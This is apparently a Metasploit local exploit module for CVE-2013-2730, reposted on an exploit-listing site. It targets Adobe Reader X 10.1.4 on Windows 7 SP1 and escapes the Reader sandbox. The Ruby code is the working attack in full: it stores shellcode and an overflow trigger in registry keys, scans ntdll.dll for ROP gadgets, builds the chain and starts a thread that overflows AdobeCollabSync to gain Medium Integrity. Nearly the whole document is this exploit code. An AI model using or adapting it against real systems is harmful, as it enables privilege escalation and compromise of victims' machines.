AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/windows/registry'
require 'msf/core/post/common'
require 'msf/core/post/file'

class Metasploit3 < Msf::Exploit::Local
Rank = GreatRanking

include Msf::Exploit::EXE
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Registry

def initialize(info={})
super(update_info(info, {
'Name'          => 'AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass',
'Description'    => %q{
This module exploits a vulnerability on Adobe Reader X Sandbox. The
vulnerability is due to a sandbox rule allowing a Low Integrity AcroRd32.exe
process to write register values which can be used to trigger a buffer overflow on
the AdobeCollabSync component, allowing to achieve Medium Integrity Level
privileges from a Low Integrity AcroRd32.exe process. This module has been tested
successfully on Adobe Reader X 10.1.4 over Windows 7 SP1.
},
'License'       => MSF_LICENSE,
'Author'        =>
[
'Felipe Andres Manzano', # Vulnerability discovery and PoC
'juan vazquez' # Metasploit module
],
'References'    =>
[
[ 'CVE', '2013-2730' ],
[ 'OSVDB', '93355' ],
[ 'URL', 'http://blog.binamuse.com/2013/05/adobe-reader-x-collab-sandbox-bypass.html' ]
],
'Arch'          => ARCH_X86,
'Platform'      => 'win',
'SessionTypes'  => 'meterpreter',
'Payload'        =>
{
'Space'       => 12288,
'DisableNops' => true
},
'Targets'       =>
[
[ 'Adobe Reader X 10.1.4 / Windows 7 SP1',
{
'AdobeCollabSyncTrigger' => 0x18fa0,
'AdobeCollabSyncTriggerSignature' => "\x56\x68\xBC\x00\x00\x00\xE8\xF5\xFD\xFF\xFF"
}
],
],
'DefaultTarget' => 0,
'DisclosureDate'=> 'May 14 2013'
}))

end

def on_new_session
print_status("Deleting Malicious Registry Keys...")
if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode")
print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode by yourself")
end
if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB")
print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB by yourself")
end
print_status("Cleanup finished")
end

# Test the process integrity level by trying to create a directory on the TEMP folder
# Access should be granted with Medium Integrity Level
# Access should be denied with Low Integrity Level
# Usint this solution atm because I'm experiencing problems with railgun when trying
# use GetTokenInformation
def low_integrity_level?
tmp_dir = expand_path("%TEMP%")
cd(tmp_dir)
new_dir = "#{rand_text_alpha(5)}"
begin
session.shell_command_token("mkdir #{new_dir}")
rescue
return true
end

if directory?(new_dir)
session.shell_command_token("rmdir #{new_dir}")
return false
else
return true
end
end

def check_trigger
signature = session.railgun.memread(@addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger'], target['AdobeCollabSyncTriggerSignature'].length)
if signature == target['AdobeCollabSyncTriggerSignature']
return true
end
return false
end

def collect_addresses
# find the trigger to launch AdobeCollabSyncTrigger.exe from AcroRd32.exe
@addresses['trigger'] = @addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger']
vprint_good("AdobeCollabSyncTrigger trigger address found at 0x#{@addresses['trigger'].to_s(16)}")

# find kernel32.dll
kernel32 = session.railgun.kernel32.GetModuleHandleA("kernel32.dll")
@addresses['kernel32.dll'] = kernel32["return"]
if @addresses['kernel32.dll'] == 0
fail_with(Exploit::Failure::Unknown, "Unable to find kernel32.dll")
end
vprint_good("kernel32.dll address found at 0x#{@addresses['kernel32.dll'].to_s(16)}")

# find kernel32.dll methods
virtual_alloc = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "VirtualAlloc")
@addresses['VirtualAlloc'] = virtual_alloc["return"]
if @addresses['VirtualAlloc'] == 0
fail_with(Exploit::Failure::Unknown, "Unable to find VirtualAlloc")
end
vprint_good("VirtualAlloc address found at 0x#{@addresses['VirtualAlloc'].to_s(16)}")

reg_get_value = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "RegGetValueA")
@addresses['RegGetValueA'] = reg_get_value["return"]
if @addresses['RegGetValueA'] == 0
fail_with(Exploit::Failure::Unknown, "Unable to find RegGetValueA")
end
vprint_good("RegGetValueA address found at 0x#{@addresses['RegGetValueA'].to_s(16)}")

# find ntdll.dll
ntdll = session.railgun.kernel32.GetModuleHandleA("ntdll.dll")
@addresses['ntdll.dll'] = ntdll["return"]
if @addresses['ntdll.dll'] == 0
fail_with(Exploit::Failure::Unknown, "Unable to find ntdll.dll")
end
vprint_good("ntdll.dll address found at 0x#{@addresses['ntdll.dll'].to_s(16)}")
end

# Search a gadget identified by pattern on the process memory
def search_gadget(base, offset_start, offset_end, pattern)
mem  = base + offset_start
length = offset_end - offset_start
mem_contents = session.railgun.memread(mem, length)
return mem_contents.index(pattern)
end

# Search for gadgets on ntdll.dll
def search_gadgets
ntdll_text_base = 0x10000
search_length =  0xd6000

@gadgets['mov [edi], ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x89\x0f\xc3")
if @gadgets['mov [edi], ecx # ret'].nil?
fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'mov [edi], ecx # ret'")
end
@gadgets['mov [edi], ecx # ret'] += @addresses['ntdll.dll']
@gadgets['mov [edi], ecx # ret'] += ntdll_text_base
vprint_good("Gadget 'mov [edi], ecx # ret' found at 0x#{@gadgets['mov [edi], ecx # ret'].to_s(16)}")

@gadgets['ret'] = @gadgets['mov [edi], ecx # ret'] + 2
vprint_good("Gadget 'ret' found at 0x#{@gadgets['ret'].to_s(16)}")

@gadgets['pop edi # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x5f\xc3")
if @gadgets['pop edi # ret'].nil?
fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'pop edi # ret'")
end
@gadgets['pop edi # ret'] += @addresses['ntdll.dll']
@gadgets['pop edi # ret'] += ntdll_text_base
vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop edi # ret'].to_s(16)}")

@gadgets['pop ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x59\xc3")
if @gadgets['pop ecx # ret'].nil?
fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'pop ecx # ret'")
end
@gadgets['pop ecx # ret'] += @addresses['ntdll.dll']
@gadgets['pop ecx # ret'] += ntdll_text_base
vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop ecx # ret'].to_s(16)}")
end

def store(buf, data, address)
i = 0
while (i < data.length)
buf << [@gadgets['pop edi # ret']].pack("V")
buf << [address + i].pack("V") # edi
buf << [@gadgets['pop ecx # ret']].pack("V")
buf << data[i, 4].ljust(4,"\x00") # ecx
buf << [@gadgets['mov [edi], ecx # ret']].pack("V")
i = i + 4
end
return i
end

def create_rop_chain
mem = 0x0c0c0c0c

buf =  [0x58000000 + 1].pack("V")
buf << [0x58000000 + 2].pack("V")
buf << [0].pack("V")
buf << [0x58000000 + 4].pack("V")

buf << [0x58000000 + 5].pack("V")
buf << [0x58000000 + 6].pack("V")
buf << [0x58000000 + 7].pack("V")
buf << [@gadgets['ret']].pack("V")
buf << rand_text(8)

# Allocate Memory To store the shellcode and the necessary data to read the
# shellcode stored in the registry
buf << [@addresses['VirtualAlloc']].pack("V")
buf << [@gadgets['ret']].pack("V")
buf << [mem].pack("V")        # lpAddress
buf << [0x00010000].pack("V") # SIZE_T dwSize
buf << [0x00003000].pack("V") # DWORD flAllocationType
buf << [0x00000040].pack("V") # flProtect

# Put in the allocated memory the necessary data in order to read the
# shellcode stored in the registry
# 1) The reg sub key: Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions
reg_key = "Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\x00"
reg_key_length = store(buf, reg_key, mem)
# 2) The reg entry: shellcode
value_key = "shellcode\x00"
store(buf, value_key, mem + reg_key_length)
# 3) The output buffer size: 0x3000
size_buffer = 0x3000
buf << [@gadgets['pop edi # ret']].pack("V")
buf << [mem + 0x50].pack("V") # edi
buf << [@gadgets['pop ecx # ret']].pack("V")
buf << [size_buffer].pack("V")     # ecx
buf << [@gadgets['mov [edi], ecx # ret']].pack("V")

# Copy the shellcode from the the registry to the
# memory allocated with executable permissions and
# ret into there
buf << [@addresses['RegGetValueA']].pack("V")
buf << [mem + 0x1000].pack("V") # ret to shellcode
buf << [0x80000001].pack("V")   # hkey => HKEY_CURRENT_USER
buf << [mem].pack("V")          # lpSubKey
buf << [mem + 0x3c].pack("V")   # lpValue
buf << [0x0000FFFF].pack("V")   # dwFlags => RRF_RT_ANY
buf << [0].pack("V")            # pdwType
buf << [mem + 0x1000].pack("V") # pvData
buf << [mem + 0x50].pack("V")   # pcbData
end

# Store shellcode and AdobeCollabSync.exe Overflow trigger in the Registry
def store_data_registry(buf)
vprint_status("Creating the Registry Key to store the shellcode...")

if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode")
vprint_good("Registry Key created")
else
fail_with(Exploit::Failure::Unknown, "Failed to create the Registry Key to store the shellcode")
end

vprint_status("Storing the shellcode in the Registry...")

if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "shellcode", payload.encoded, "REG_BINARY")
vprint_good("Shellcode stored")
else
fail_with(Exploit::Failure::Unknown, "Failed to store shellcode in the Registry")
end

# Create the Malicious registry entry in order to exploit....
vprint_status("Creating the Registry Key to trigger the Overflow...")
if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB")
vprint_good("Registry Key created")
else
fail_with(Exploit::Failure::Unknown, "Failed to create the Registry Entry to trigger the Overflow")
end

vprint_status("Storing the trigger in the Registry...")
if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "bDeleteDB", buf, "REG_BINARY")
vprint_good("Trigger stored")
else
fail_with(Exploit::Failure::Unknown, "Failed to store the trigger in the Registry")
end
end

def trigger_overflow
vprint_status("Creating the thread to trigger the Overflow on AdobeCollabSync.exe...")
# Create a thread in order to execute the necessary code to launch AdobeCollabSync
ret = session.railgun.kernel32.CreateThread(nil, 0, @addresses['trigger'], nil, "CREATE_SUSPENDED", nil)
if ret['return'] < 1
print_error("Unable to CreateThread")
return
end
hthread = ret['return']

vprint_status("Resuming the Thread...")
# Resume the thread to actually Launch AdobeCollabSync and trigger the vulnerability!
ret = client.railgun.kernel32.ResumeThread(hthread)
if ret['return'] < 1
fail_with(Exploit::Failure::Unknown, "Unable to ResumeThread")
end
end

def check
@addresses = {}
acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe")
@addresses['AcroRd32.exe'] = acrord32["return"]
if @addresses['AcroRd32.exe'] == 0
return Msf::Exploit::CheckCode::Unknown
elsif check_trigger
return Msf::Exploit::CheckCode::Vulnerable
else
return Msf::Exploit::CheckCode::Detected
end
end

def exploit
@addresses = {}
@gadgets = {}

print_status("Verifying we're in the correct target process...")
acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe")
@addresses['AcroRd32.exe'] = acrord32["return"]
if @addresses['AcroRd32.exe'] == 0
fail_with(Exploit::Failure::NoTarget, "AcroRd32.exe process not found")
end
vprint_good("AcroRd32.exe found at 0x#{@addresses['AcroRd32.exe'].to_s(16)}")

print_status("Checking the AcroRd32.exe image...")
if not check_trigger
fail_with(Exploit::Failure::NoTarget, "Please check the target, the AcroRd32.exe process doesn't match with the target")
end

print_status("Checking the Process Integrity Level...")
if not low_integrity_level?
fail_with(Exploit::Failure::NoTarget, "Looks like you don't need this Exploit since you're already enjoying Medium Level")
end

print_status("Collecting necessary addresses for exploit...")
collect_addresses

print_status("Searching the gadgets needed to build the ROP chain...")
search_gadgets
print_good("Gadgets collected...")

print_status("Building the ROP chain...")
buf = create_rop_chain
print_good("ROP chain ready...")

print_status("Storing the shellcode and the trigger in the Registry...")
store_data_registry(buf)

print_status("Executing AdobeCollabSync.exe...")
trigger_overflow
end
end

Copyright ©2024 Exploitalert.